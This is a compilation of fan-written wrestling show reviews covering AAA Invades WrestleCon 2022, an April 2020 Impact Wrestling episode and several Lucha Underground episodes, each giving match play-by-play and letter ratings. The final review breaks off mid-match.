AAA Invades WrestleCon
Date: March 31, 2022
Location: Fairmont Hotel, Dallas, Texas
Commentators: Hugo Savinovich, Carlos Cabrera

In case you aren’t getting the hint, this is part of the WrestleCon series of shows over Wrestlemania weekend. This was a show that was included in the Superfan ticket so it was basically a bonus for anyone taking in every day of the convention. AAA doesn’t come stateside very often so hopefully it works out. Let’s get to it.

Note that I don’t follow AAA so I don’t know anything involving storylines and very little involving characters. I was in attendance for part of this show, as I missed the opener, then didn’t feel like sitting through the whole show. Instead I walked through the convention and came back in to see pieces of the show, which is a bit out of my ordinary.

This show is available for free on the company’s YouTube page.

Opening sequence.

Our host/ring announcer introduces commentary and starts a LUCHA chant.

Christi Jaynes/Ryan Kidd vs. Natural Classics

The Classics are Stevie Filip/Tome Filip and Jaynes dances a lot during her entrance. Jaynes’ chops have no effect on Stevie so it’s a kick to the ribs and springboard hurricanrana to bring him down. Kidd comes in for a dropkick and a handspring elbow but a Tome distraction lets Stevie hit a dropkick of his own. Tome’s jumping legdrop gets two on Kidd and Jaynes is shoved off the apron for some good heeling.

Kidd manages to avoid a charge in the corner and Stevie’s dropkick hits Tome in the back by mistake. The hot tag brings in Jaynes but her high crossbody is pulled out of the air. Everything breaks down and Jaynes moonsaults off the top and out onto Stevie. Back in and some running knees in the corner set up what looked to be a top rope elbow to give Kidd a VERY near fall (that might have been a botch). The Classics gets it together though and send Kidd outside, setting up a powerbomb into a Backstabber to finish Jaynes at 6:56.

Rating: C+. Nice opening tag here as Jaynes and Kidd were able to fire the crowd up, though seeing the Classics win kind of slowed down the energy a bit. The Classics seem like a decent enough heel team, and thankfully they dress differently (one tights, one trunks) enough to keep them separated. Jaynes felt like a huge ball of charisma here and she did well in her chances.

La Hiedra/Mini Abismo Negro/Rey Escorpion vs. Micro Man/Nino Hamburguesa/Taya

Lumberjack strap match and this is where I came into the show. Taya is Taya Valkyrie and Micro Man stands 3’3. Micro and Escorpion start things off with Micro being taken down and stomped in the back without much trouble. Back up and Micro headscissors him into an armdrag, setting up a dropkick out to the floor.

That means Escorpion can come in so Hamburguesa can crush him with a basement crossbody. Now it’s Taya coming in to armdrag Hiedra down, setting up a running hip attack in the corner. Hiedra tries to run but gets chased back inside by the lumberjacks. Everything breaks down and Micro gets thrown down, leaving Taya to get taken down for a running legdrop to the back of the head.

Micro gets dropped onto Abismo’s raised boots but Hamburguesa comes back in to clean house. Hiedra gets caught with a 619 from Micro, followed by a bulldog to Abismo. Hamburguesa knocks Abismo outside for a beating from the lumberjacks (oh yeah they’re a thing) before Taya comes in and beats up all three villains. A spinebuster drops Hiedra but Abismo comes back in with a quick piledriver. The frog splash gets two with Abismo making a save but getting crushed in the corner for his efforts. Micro and Hamburguesa hit Cannonballs in the corner, leaving Micro to roll Abismo up for the pin at 13:03.

Rating: C+. I’m never sure what to say about something like this, but if the point was having mostly uncontrolled chaos, this worked rather well. They had fun and the crowd was into it, with Micro being a cool novelty and Taya having more charisma than she knows what to do with most of the time. It was a fun match, even if the lumberjacks mostly disappeared for long stretches.

Post match here is La Empresa (who may be involved with Hiedra and company) to go after Micro, who low blows a few of them. Micro bites the back of Hiedra’s tights and rides on her back like a horse, only to be put in a trashcan and carried off. Serves him right for not bailing when he could.

NWA World Tag Team Titles: La Rebelion vs. Aerostar/Drago

La Rebelion (Bestia 666/Mecha Wolf, with Damian 666) is defending. Drago and Bestia go with some grappling to start but everything breaks down in a hurry. An assisted tornado DDT plants Bestia for two but Drago is sent outside, leaving Aerostar to get kicked down. Drago gets Rock Bottomed onto Aerostar for two, meaning Aerostar is sent outside for a beating from Damian.

Back up and Drago scores with a hurricanrana to Bestia and it’s time to send the champs outside for the dives. Aerostar takes both of them down and hits a corkscrew high crossbody for two on Bestia. Drago’s running Canadian Destroyer drops Bestia and Aerostar’s springboard Codebreaker does the same to Wolf. Code Red hits Wolf as well but he’s right back up for a shot to the face and a four way knockdown. Damian has to offer a distraction for the save and it’s a powerbomb into a Backstabber to finish Drago and retain the titles at 7:45.

Rating: B-. I got into this one more as you had the high flying vs. the power(ish)/cheating from the champs. It was another wild match, which is what you have to expect on a AAA show, but it had more of a story than most. Aerostar/Drago are a team that got a lot of attention during Lucha Underground and they are still good here. It’s hard to fathom that the NWA World Tag Team Titles wound up on La Rebelion, but they seem passable for short term champs.

Abismo Negro Jr./Arez/Faby Apache vs. Aramis/Mr. Iguana/Octagon Jr.

Yeah I’m going to be lost here. Aramis and Abismo (not to be confused with Mini Abismo from earlier) start things off with the usual flips and escapes until Aramis gets a sunset flip for two. A headscissors drops Abismo again but he’s back up with a dropkick to send Aramis to the floor. That means Octagon can come in with some springboard dropkicks to send Abismo outside as well.

We settle down to Iguana armdragging Apache and then using his iguana puppet (oh boy) to wristdrag her as well. Iguana shrugs off some double teaming and armdrags Abismo before doing the same to Arez. Back up and Arez cleans house, including dropping Iguana and knocking the other two off the apron. Apache puts Iguana in a surfboard for a top rope double stomp from Arez so Octagon comes in for a change. More triple teaming has Octagon in trouble as well and Iguana’s save is cut off.

The villains (I’m assuming) take turns BEATING UP THE PUPPET, including a piledriver and a legdrop as Iguana panics on the apron. We pause for the referee to give the puppet CPR (as I realize I made the right call in checking out the con during this match) before extended posing allows Octagon to come back in with a springboard hurricanrana. Everything breaks down and the heroes hit stereo dives to the floor before we settle back down to Octagon chopping Arez.

Abismo comes in and gets anklescissored into a very spinning headscissors to the floor. It’s off to Abismo vs. Aramis in a pose off until Abismo gets armdragged into the ropes. A springboard wristdrag sends Abismo outside so Arez comes in, only to crash outside with Aramis. Iguana is back up with a running dive into an armdrag (he likes those) to Arez on the floor. Octagon and Aramis take down Apache and Arez for stereo near falls before the villains do the same to them. Back up and Apache and Arez are kicked to the floor as well, setting up the required dives. That leaves Iguana to hit a spinning bulldog to finish Abismo at 14:00.

Rating: C+. This one was a bit too ridiculous for my taste, with stuff like the puppet being more than a little much. That being said, Iguana certainly has charisma and the fans liked what they were seeing from him. Octagon felt like a star and Arez/Aramis did well while they were in there. Apache is a name I’ve heard a good bit about before but she didn’t have the chance to do much here, which was also the case for the less famous Abismo. Fun match, but this kind of stuff can get a little exhausting in a hurry.

La Empresa vs. Drago Kid/Jack Cartwheel/Pagano

La Empresa are Gringo Loco (from MLW)/Puma King (from MLW)/Sam Adonis (Corey Graves’ brother and VERY American). Granted the team’s graphic is listed as “La Empresa AND Gringo Loco” but we’ll go with the simple version. Puma King and Adonis are part of the Trios Champions as well, but with DMT Azul rather than Loco so I’m as lost as you are (assuming you are lost in the first place that is).

Anyway, Puma and Pagano start things off with Pagano grinding away at a headlock. Puma reverses into one of his own before dropping Pagano with a flying mare into an armdrag. Pagano is back up with a springboard…drop back down onto his feet before kicking Puma down a few times. Adonis comes in and gets hurricanranaed by Cartwheel, followed by a dropkick to send him outside.

Loco comes in for a showdown with Cartwheel (there’s something I didn’t expect to say) but instead it’s Drago (who is TINY) coming in to pick up the pace. Loco is sent outside so it’s back to Adonis, who gets hurricanranaed again. Puma superkicks Drago to the floor but gets to face both Cartwheel and Pagano at the same time. Well maybe just Cartwheel, as Pagano goes back to the apron, albeit after some intense glaring. That leaves Puma and Cartwheel to tumble around a bit until Cartwheel’s slingshot….something lands on Puma’s raised boots.

Pagano comes back in to strike away at Puma, setting up a scoot powerslam for two. Everything breaks down and Adonis gets hurricanranaed for the third time, with this one sending him into Pagano’s right hand. Puma gets hurricanranaed by Cartwheel but Loco is back in for a cheap shot to take over. Empresa triple teams Drago, including an assisted faceplant, to take over, meaning we get some heelish staring at the crowd.

Adonis hits a 450 on Pagano but Drago makes a save. That leaves Drago to clean house with a bunch of hurricanranas (including ANOTHER to Adonis), setting up a big dive to the floor. Cartwheel comes back in for a more flippy version of the same sequence, leaving Pagano and Adonis for the big (by comparison) man chop off. Pagano gets up top for a hurricanrana before Cartwheel comes back in to….I think forget to go forward on a running shooting star press to Puma (as he did the flip but landed where he started rather than on Puma).

That lets Puma hit a powerbomb and go up top, where Drago hits a super hurricanrana. Drago tires it again on Loco but gets countered into a sitout superbomb for two. Adonis drops Pagano but Cartwheel comes off the top with a shooting star to break it up (mostly missed but he caught Adonis’ legs, which is an improvement in his case). Drago and Cartwheel both hit running flip dives onto Puma and Adonis, leaving Loco to miss a split legged moonsault on Pagano. That leaves Pagano to grab an Air Raid Crash to finish Loco at 17:32.

Rating: C+. It was the biggest of the six person tags so far but MY GOODNESS ENOUGH WITH THE HURRICANRANAS! I know it’s one of the signature moves but they had to have at least twenty of them in there. That was getting more than a bit old, but Pagano and Adonis were there to add some size and make things a bit better. Another fun match in a series, but having so many of the same style match in a row is starting to wear thin.

Post match La Empresa beats Pagano down with a chair and the American flag.

Cruiserweight Title: Bandido vs. Flamita vs. Laredo Kid

Kid is defending and this is the match on the show I wanted to see in person. Flamita gets double teamed to start but is smart enough to bail to the floor for a breather. That leaves Bandido to headscissor Laredo to the floor but Flamita is back in with a superkick to break up the dive. Flamita hits a dropkick/tornado DDT combination to drop the other two and Laredo is knocked outside again.

Bandido is sent outside with him but Laredo is back in with a DDT on Flamita. That means a big dive to the floor can take out both challengers at once, followed by a 450 onto both of them back inside. Back up and Flamita slips out of Bandido’s one armed gorilla press so Bandido puts Flamita in a Gory Stretch.

Then he leans back so Flamita can pick up Laredo on top, setting up a Gory Bomb/powerbomb combination to leave Bandido as the only one standing. Laredo breaks up the 21 Plex and Flamita goes up top for a double moonsault DDT. There’s a powerbomb to Laredo but Bandido springboards in with a West Coast Pop for two on Flamita. Bandido takes Flamita up top, only to get knocked to the floor by Laredo. With Flamita still on top, Laredo hits a super Spanish Fly to retain the title at 8:08.

Rating: B. It was short but energetic, which is what you probably expected from a match like this. I’m wondering if the show was running long, as this felt like the most interesting match on the card and it got very little time by comparison. The spots and stunts are always impressive though and Bandido feels like a star, so this was good stuff all around. Also, just having something that wasn’t a team match for a change was nice and made it stand out that much more.

Psycho Clown vs. Black Taurus

If there is a story here, it isn’t being explained (at least not in English). For some reason it’s just Taurus on the graphic, despite being Black Taurus everywhere else. Granted he’s from AAA so I guess this is right by definition. An exchange of shoulders doesn’t get either of them very far so they try sweeping the legs for two each.

Taurus headbutts him up against the ropes but gets backdropped out to the floor. The flip dive takes Taurus down again but he’s right back with a kick to the head inside. Clown’s snap powerslam gets two and Taurus rolls outside, where Clown hits a middle rope moonsault to take him down again. Back in and la majistral gives Clown two more (just because he’s a clown doesn’t mean he doesn’t know technique) but Taurus is right back with a pop up Samoan drop for two.

Code Red gives Clown another two and a running corkscrew dive to the floor drops Taurus again. Taurus is right back with an over the shoulder backbreaker and it’s time for a table, because that translates around the world. For some reason Taurus goes up top, allowing Clown to whip him with some kind of a belt. A spear through the table gives Clown the pin at 9:14.

Rating: C. It was a hard hitting brawl but the table felt out of place and didn’t really add much. Much like the previous match though, it was nice to see something different and it helped a good bit. Clown’s music alone is worth a listen as it’s really catchy, but this didn’t feel much like a main event. Commentary called it a dream match, but they didn’t really sell that and it hurt a good bit.

Post match La Empresa runs in and beats Clown down, with Jeff and Karen Jarrett joining in. Adonis explains that they are together and someone from the crowd gives Jeff a cane for some shots. Jeff says he is the brains and money behind La Empresa (sounds like a reveal) and choking with the American flag ensues. They even steal Clown’s mask and Jeff calls the fans basura (trash) before posing over Clown (covered with the flag). The villains leave to end the show.

Post show (not shown), Clown got his mask back and, from under the flag, thanked the fans for coming and left.

Overall Rating: C+. The show, or at least what I saw of it in person, was fun and it was cool to get to see an actual lucha libre show live, but it’s not something I would want to watch regularly. It certainly wasn’t bad, but some of the matches got repetitive as you can only have so many six person tags or wild matches before it loses its charm. I did like it and the dives are cool, but it’s more of a one off night than anything else.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

IMG Credit: Impact Wrestling

Impact Wrestling
Date: April 14, 2020
Location: Coca Cola Roxy, Atlanta, Georgia
Commentators: Madison Rayne, Josh Matthews

It’s the (original) go home show for Rebellion, which has been rescheduled but at least is still airing in some form. I’m not sure what the card is going to consist of but some pay per view material is better than none. Hopefully they don’t set up a bunch of stuff they can’t deliver (not their fault if they can’t) but the show has been pretty good lately so maybe it can continue here. Let’s get to it.

Here are last week’s results if you need a recap.

Opening recap.

Opening sequence.

Johnny Swinger vs. Mike Jackson

Yeah this was the obvious payoff to the Young Buck M. Jackson reference from last week. Jackson is 70 and hasn’t wrestled on national television since 1991. Before the match, Jackson says he likes this place, but not what Swinger does to the young guys. He’s an old buck and it’s time to give Swinger a beating. An early Swinger Neckbreaker attempt is blocked and Jackson gets two off a rollup. A headscissors puts Swinger on the floor and there’s a suicide dive because of course Jackson can do that.

Back in and Jackson works on the arm, setting up Old School, with Jackson walking all the way around all four ropes. Commentary has finally caught up and announces Rebellion as a two night event over the next two weeks so at least things should be better in that regard. Swinger elbows him down for two but Jackson gets in a neckbreaker. The straps come down and Jackson hammers away in the corner, only to get rolled up with feet on the ropes for the pin at 5:20.

Rating: C+. Normally I would make fun of something like this with Jackson showing up the people on the roster, but there are a few differences here. First of all, it’s Johnny Swinger, who is a comedy guy in his forties. Second, a 70 year old man just did a suicide dive and walked around the top ropes for Old School. I don’t think I’m allowed to complain about this.

Ace Austin doesn’t like Willie Mack’s odds in their X-Division Title match. He doesn’t like being called a scumbag either because Mack isn’t worried about his best friend, but Mack isn’t a scumbag? Cue Trey to say Austin is indeed a scumbag. Ace: “How’s your mom?” The brawl is on in a hurry.

Post break, Jackson got a bunch of praise from the locker room. Fair enough.

Ken Shamrock is told to not get physical during the contract signing.

We run down the rest of the card.

TJP/Fallah Bahh vs. Rascalz vs. XXXL vs. Reno Scum

One fall to a finish. Acey clotheslines Thornstowe down to start and brings in Larry for a running knee in the corner. It’s off to Wentz, who gets thrown into the Scum corner and suplexed to send us to a break. Back with Wentz kicking Legend in the head but getting cut off by Thornstowe. The Pit Stop has Wentz in more trouble and a knee to the face gets two.

Wentz dives over for the hot tag to Dez though and the pace picks up, including a catapult to send Thornstowe into a superkick. Wentz comes back in with a springboard cutter to Thornstowe as everything breaks down. XXXL crushes Legend before hitting stereo suicide dives for the big crashes. Back in and a Samoan drop into a Swanton gives TJP the pin on Thornstowe at 11:14.

Rating: C. You can only get so much out of these things and they did as well as they could have. It wasn’t anything that hasn’t been done better before but at least they had a surprise winner and should set up another Tag Team Title match with the North. TJP and Bahh work well as an oddball team and that’s all they need to do.

Flashback Moment of the Week: Tessa Blanchard beats Gail Kim at Rebellion 2019.

Rohit Raju begs Gama Singh to let him out of a match and gets slapped in the face for his efforts.

Video on Cody Deaner beating Joey Ryan last week.

Ryan doesn’t like that video airing. He demands the production team to play the tape he aired.

The video shows Rob Van Dam and Katie Forbes in a hot tub. They’re sorry about not being there but Katie doesn’t want to be around the Deaners or the fans. You can imagine what comes next.

Rohit Raju vs. Hernandez

Rayne gets annoyed at Josh and leaves commentary as Hernandez pulls Raju out of the air. The Pounce into the Boarder Toss is good for the pin on Raju at 1:20. Note that commentary made it clear that Raju has a big match coming up at Rebellion, right before he got squashed.

Madison Rayne and Johnny Swinger are in the back for Locker Room Talk. Their guest this week is Kylie Rae, who is still happy to be here. Swinger shows off his biceps to hit on her but Kylie is too excited to be ready to face Kiera Hogan at Rebellion. Madison tries to get Rae to be mean about Hogan but it’s not coming. Kiera comes in and says she’s going to humiliate Kylie at Rebellion. Kylie doesn’t want to be pushed this far, but Kiera isn’t that nice!

We get clips of Eddie Edwards vs. Michael Elgin in a match in Qatar. Brian Cage interfered to cost Eddie the match and the title.

Ace Austin vs. Trey

Non-title. They take turns missing flips and dives to start until Trey hits a running basement dropkick to put Ace on the floor. Trey hits a dive to take Austin down again but Ace drops him face first onto the apron. Back in and Ace forearms away as Josh and Madison continue their married bickering on commentary (and actually making it somewhat adorable).

A seated abdominal stretch keeps Trey in trouble but he fights up with a 619 out of the corner. The missile dropkick puts Ace down again but he’s right back up with a springboard kick to the face. Trey is back up, only to miss something off the top and get rolled up with tights to give Ace the pin at 6:18.

Rating: C+. They packed a lot into this one and that’s one of the best things that you can have in a match like this. They didn’t have time to do much here but they have a lot of chemistry, even if Trey never actually beats him. I could go for Ace being champion for a good while to come as he’s held the title for a long time already, even though it doesn’t feel like it. That’s a good sign, as Austin could have a heck of a future at this rate. Side note: Trey makes the second person in the four way at Rebellion to lose in back to back matches. At least try to make it seem important.

Willie Mack is to do some magic of his own and make the title disappear from Austin’s shoulder.

Taya vs. Tenille Dashwood

John E. Bravo is here with Taya. Tenille wastes no time to start with a quick Russian legsweep sending Taya outside. A Bravo distraction lets Taya hammer away and get two off a superplex. We take a break and come back with Taya choking away using various objects. Taya’s running hip attack in the corner, plus some double knees, get two and we hit the half crab.

That doesn’t last long so Taya knees her in the chest and poses on the ropes while choking away. Taya charges into an elbow in the corner though and a running knee to the face sends Taya into another corner. The Taste of Tenille gets two but Taya spears her down for the same. Back from another break with the Road to Valhalla getting two as Tenille grabs the rope. Taya is stunned so she grabs a chair, allowing Tenille to sunset flip her for the pin at 16:18.

Rating: C+. Dashwood is an interesting case as she seems like she should be a huge star but it never comes together. It’s not like this is some huge upset, but it does feel a little strange that Taya would lose. She is coming up on a title match at Rebellion and loses here? I guess it fits in with the theme of the night.

Post match Taya destroys her with a trashcan and a pile of chairs, with even Madison saying this is too much to watch. Jordynne Grace runs in for the save but Tenille is banged up pretty badly.

Tommy Dreamer and Rhino are ready to beat up OVE with the help of their mystery partner.

Rebellion rundown.

Video on Sami Callihan being revealed as the ICU hacker and attacking Ken Shamrock with a fireball.

It’s time for the contract signing between Sami Callihan and Ken Shamrock. Sami tells Josh Matthews to get out and throws his feet on the table. He laughs at the idea of Shamrock not being able to do anything at the moment because he knows how much Shamrock wants to jump the table right now. Sami knows what this match is going to mean for Shamrock, who angrily signs the contract. That doesn’t please Sami, who talks about how smashing Eddie Edwards with the baseball bat was the best thing that ever happened to Sami.

Now it’s time to get serious as brings up Shamrock’s family. That’s too far so Shamrock goes for him, only to have Sami press a button to escape. A bunch of people with ICU masks appear but leave, with Shamrock giving chase. He goes to the parking lot and gets in a car, which is being driven by an ICU guy. Chaos ensues as there are even more of them around the car to end the show. I actually want to see the match so they’re doing something right.

Overall Rating: B-. This place is on a roll as they head into the pay per view but I’m a little bit scared at what is going to happen when they shift more towards a big wrestling focused show. Usually that is where they shine, but lately their television has been better so there is no guarantee that they can pull off both. Either way, I liked this show well enough, even if everything is about to change in a big way. Good show to go out of the norm on at least.

Results

Johnny Swinger b. Mike Jackson – Rollup with feet on the ropes

TJP/Fallah Bahh b. Reno Scum, the Rascalz and XXXL – Swanton Bomb to Thornstowe

Hernandez b. Rohit Raju – Boarder Toss

Ace Austin b. Trey – Rollup with a handful of trunks

Tenille Dashwood b. Taya – Sunset flip

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Lucha Underground

Lucha Underground
Date: August 29, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

It’s time for a wedding! In something that I’m actually thrilled to see, tonight Johnny Mundo and Taya are getting married. There is no way that this won’t be incredible as Lucha Underground has regular shows that are better than most, meaning a special show could be incredible. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of the events leading to the wedding, Jake Strong and XO Lishus.

The Worldwide Underground, in their lime green sleeveless tuxedos (the only way to go) has a surprise for Johnny: Joey Wrestling (Mercury, his old partner) is here. Joey is going to be the best man, meaning PJ Black is demoted to groomsman and Ricky Mundo is now a ring bearer. Everyone leaves Ricky, whose doll isn’t happy.

Matt and Vampiro are in suit jackets for a nice touch.

Famous B. is still ring announcer.

Jake Strong vs. Drago

This could be interesting. Drago tries a rollup to start and gets thrown into the corner for some knees to the ribs. A running chop block takes the knee out and an elbow to the leg keeps Drago down. Strong switches to an armbar but a powerslam is reversed into a tornado DDT. They head outside with Drago being sent over the barricade and onto the required pile of chairs. Back in and the ankle lock makes Drago tap at 4:50.

Rating: C-. They’re pushing the living heck out of Strong and that’s a good idea. Having someone who used to be a World Champion in WWE around here is smart, as whoever finally beats him is going to get a nice rub. It’s also a necessary move to push some fresh stars and someone with some size makes it even better.

Post match Strong puts the hold on again but Aerostar makes the save.

XO Lishus vs. Jack Evans

No Mas match, meaning I Quit. Evans shouts about Lishus having no place in lucha libre so Lishus snaps and beats the fire out of him. They head to the floor with Evans bailing as fast as he can. Evans kicks him in the face and dives off the apron for his first offense. Lishus is fine enough to hit a Blockbuster off the announcers’ table, so Evans calls him a bully.

A choke with a chain doesn’t make Lishus quit so he hits a Regal Roll and moonsault double knees to Evans’ chest. Evans climbs part of the set and flip dives off, earning a “F*** YOU!” Cue Ivelisse to yell at Evans, who whips her into the steps. They actually get inside with Lishus putting on something like a YES Lock.

That goes nowhere as Jack reverses into an ankle lock, which is reversed as well. The handspring slap sets up Carmella’s Code of Silence but gets reversed into an armbar. It’s chair time with Lishus taking a shot to the face and Evans lays him on the chair, promising to break his neck. Cue Joey Ryan for the save, allowing Ivelisse to pull Lishus off the chair. A cross armbreaker makes Jack give up at 11:15.

Rating: C+. I liked this more than I was expecting to, though I can’t say I’m surprised at Lucha Underground pushing what would seem to otherwise be a comedy character as something important. Lishus is going to annoy a lot of fans but he’s trying and that’s as much as you can ask for most of the time. The win was a surprise and that’s a good thing every now and then.

Post match Ryan and Ivelisse help Lishus up with no violence or swerving.

Post break the defeated Evans crawls in front of the Underground and is told to get dressed. Ricky thinks he can take Evans’ place now and doesn’t have to carry the stupid rings anymore. That’s not cool and Johnny makes it worse by saying that Joey and PJ are his best friends. They leave and the doll says it’s time for Ricky to do the real job.

It’s wedding time with Famous B. as the minister. He’ll run your wedding too, and ugly people are welcome. You can even get Texano and Dr. Wagner Jr. as guests for a small fee! The groom and party are brought out, each with a caption under their name (Apparently it’s John E. Mundo. Who knew? He’s also the Mayer (yes Mayer) of Slamtown.). Taya’s bridesmaids are Cheerleader Melissa (not Mariposa) and of course Brenda. Taya comes out in lime green wrestling gear and a veil, as she should. We go to a break, but first Ricky is in the back….where he releases Matanza (at the doll’s orders).

Back in the Temple, Famous B. asks if anyone has issue with these two “fine a** people” being married. Antonio Cueto comes out to say he likes the two of them and has a gift: “RING THE BELL!” Actually it’s fried tacos for everyone! They’re sat on tables at ringside (uh oh) but now, on with the ceremony.

Taya: “Johnny, I love you more than fluffy puppies, kneeing people in the face and decapitating snake men.” Johnny: “Taya, never in my wildest dreams did I imagine I would meet anyone as tanned, ripped and attractive as me.” He loves her more than his own reflection and this is better than winning the Lucha Underground Championship. They say the I do’s (well a si in Taya’s case) so here’s Ricky (with the doll) to present the rings. He hands B the rings and is told to git.

B: “By the powers vested in me by the state of California and 423-GET-FAME, I now pronounce you man and HOLY S*** WHAT THE H*** IS THAT???” Cue Matanza to clean house, including smacking Taya. Brenda faints (makes sense actually) and Melissa eats a World’s Strongest Slam. B and his wheelchair gets thrown aside and PJ goes through a table. Johnny gets up and fights but gets suplexes through another table. Taya (bleeding) has HAD IT and taps the dress off to fight as well but takes the Wrath of the Gods. A spinebuster through the cake (Fans: “NOT THE CAKE!”) ends the show.

This was a lot of fun but really, I wanted more. I wanted this to be much more over the top with wackiness and it just didn’t go that far. What we got was funny and entertaining (Famous B was great) but Lucha Underground is the place where you want something so crazy that it could only happen here. I didn’t quite get that with this wedding, though it was entertaining. Mundo vs. Matanza has serious potential too.

Overall Rating: C+. This was actually less entertaining than I was expecting. The wrestling was skippable (fine on a big show) but the wedding could have been so much more. They actually played the show a bit more serious and that’s not what I was hoping for. Still though, they’re having fun this season and that makes for a nice show. Check out the wedding, but it’s not exactly required viewing.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Lucha Underground

Lucha Underground
Date: August 1, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

Things are getting rough for Pentagon Dark as he has Cage on one side and the new Gift of the Gods Champion Dragon Azteca Jr. on the other. That means we could have the title match on a week’s notice, but you never know how much things are going to change around here. Let’s get to it.

Here are last week’s results if you need a recap.

Opening recap: Dragon Azteca Jr. wins Gift of the Gods, Big Ryck (!) telling the Mack to make money back in the day, Worldwide Underground vs. Reptile Tribe and Cage vs. Pentagon Dark.

Daga vs. PJ Black

Reptile Tribe vs. Worldwide Underground. Daga starts in on the arm and tries a guillotine, only to get suplexed down to break it up. Some rolling suplexes stay on the back but Black switches over to a double arm crank. Daga chops him out of the corner though and DDTs Black into a guillotine. This isn’t quite the match that I was expecting coming into this and that’s a nice surprise.

A rope break gets Black out of trouble and he slaps on a quickly just as broken dragon sleeper. Daga’s crossface is broken up and Black kicks him in the head, only to get crotched on top for taking too much time. They hit a pinfall reversal sequence but Daga rolls into a crucifix hold with a keylock to make Black tap at 7:30.

Rating: C. Not bad here and the change in style was a nice surprise. Black going completely away from the high flying but still managing to pull off a perfectly watchable match is a good sign for his future. You can only do the same stuff over and over again so often before it stops having the same effect. Spacing it out like this is a good idea.

Post match the Reptile Tribe comes out but the Worldwide Underground save Black from Vibora’s Tombstone. Some kendo stick shots put Vibora on the floor but Kobra Moon says Johnny Mundo’s future is the Tribe. Next week they’ll have a match and if the Underground loses, Johnny has to join the Tribe. If the Underground wins though, Moon will grant Johnny a wish.

The Mack is getting ready when Catrina pops in. Mil Muertes is coming for him but Mack doesn’t seem worried. Catrina pops open a locker to reveal BIG RYCK’S SKULL. Well that accelerated quickly.

Here’s Dragon Azteca Jr. to talk (half in English and half in Spanish) to say he’s going to honor his ancestors by becoming Lucha Underground Champion. He wants to cash in at Ultima Lucha IV but until then, come try and take the title from him.

Trios Titles: Paul London/Saltador/Mala Suerte vs. The Mack/Killshot/Son of Havoc

Mack and company are defending. We’re already in a big staredown less than twenty seconds in until it’s Killshot vs. Suerte. Things speed up with both guys flipping around but not making much contact. Instead it’s off to Havoc, who gets dropkicked in the mask and it’s off to London. Mack and Saltador come in with the champ taking over off a kick to the face and a standing moonsault as everything breaks down.

Suerte trips Killshot off the apron and Saltador hits the big flip dive. Back in and the Tower of Doom (Striker: “LONDON’S FALLING!!!”) plants everyone, followed by a series of strikes to the face. Killshot starts cleaning house with the running stomps and Meteora from the apron, followed by crushing Saltador with the top rope double stomp. A frog splash from Mack should be good for the pin but Killshot moves in and steals the pin to retain at 7:21.

Rating: C+. Total spot fest here and there’s nothing wrong with that, especially around here. What there is a problem with though is the way the Trios Titles are defended. How many times can we have champions who don’t get along because one of them have some kind of selfishness issue? This isn’t even the first time it’s happened with Son of Havoc. Maybe we need a regular Tag Team Title instead. It’s not like this is really working.

Cage/??? vs. Pentagon Dark/???

It’s a double mystery partner match and the partners are King Cuerno for Cage and….no one for Pentagon, who wants to fight on his own. Pentagon strikes away and sends them both to the floor for the big flip dive. Both villains get sent into things at ringside but Cuerno jumps Pentagon from behind.

Back in and Cage drops a top rope elbow (because of course he can fly too) as we settle down into a more stable formula. Cuerno kicks him in the face but gets caught in the Backstabber out of the corner. A superkick rocks Cage and there’s the middle rope Canadian Destroyer for two. The numbers catch up to Pentagon through as a Thrill of the Kill plants him….and that’s enough for the hired gun as Cuerno leaves. The Drill Claw ends Pentagon at 5:41.

Rating: D+. This was much more of an angle than a match and that’s fine. I like that they’re doing things other than just having the same match over and over again like you would see in WWE. Mix it up a bit with stuff like this and the feud can go on even longer. This can set up Pentagon vs. Cuerno before Pentagon gets back to Cage and that’s the way to go. Not a very good match, but it advanced the story like it was supposed to do.

Post match Cage gives him a Conchairto and poses with the title.

Johnny Mundo and Taya are going through a temple Indiana Jones style (Mundo is in a Jones hat and says he hates snakes) when they run into Vibora. A movie style fight (including quick cuts) breaks out and a ball bat shot between the legs drops Vibora. Taya and Mundo kiss….and she DECAPITATES VIBORA! Drago comes in and roars to end the show.

Overall Rating: C-. The weird feeling of the season is back, which again has to do with needing to get rid of so many people who weren’t going to be around. The wrestling was somewhere in the middle and while I kind of liked the ending being so completely ridiculous, I was getting into Vibora and he’s, you know, dead. What we got wasn’t bad, but the stories they’re focusing on still aren’t working for me and I’m not sure how long it’s going to take to change that.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Lucha Underground
Date: October 11, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

We’re closing in on the end of this season and most likely the series with two episodes left to go. It’s week three of Ultima Lucha Tres and that means another big batch of matches that close out some feuds and give us some awesome moments at the same time. The first two shows have been good and hopefully this one lives up to the previous two weeks. Let’s get to it.

The opening video looks at all of tonight’s matches, as is the custom.

Taya vs. Sexy Star

Last woman standing as Taya has cost Star a bunch of wins over the last year, meaning it’s time for revenge. They both have brass knuckles to start but Taya are kicked away. Taya takes her down and slugs away but gets kicked in the face. They head outside in short order with Taya powerbombing her up against the barricade a few times in a row. Taya misses a Cannonball into the chairs though and Star sends her into a metal screen.

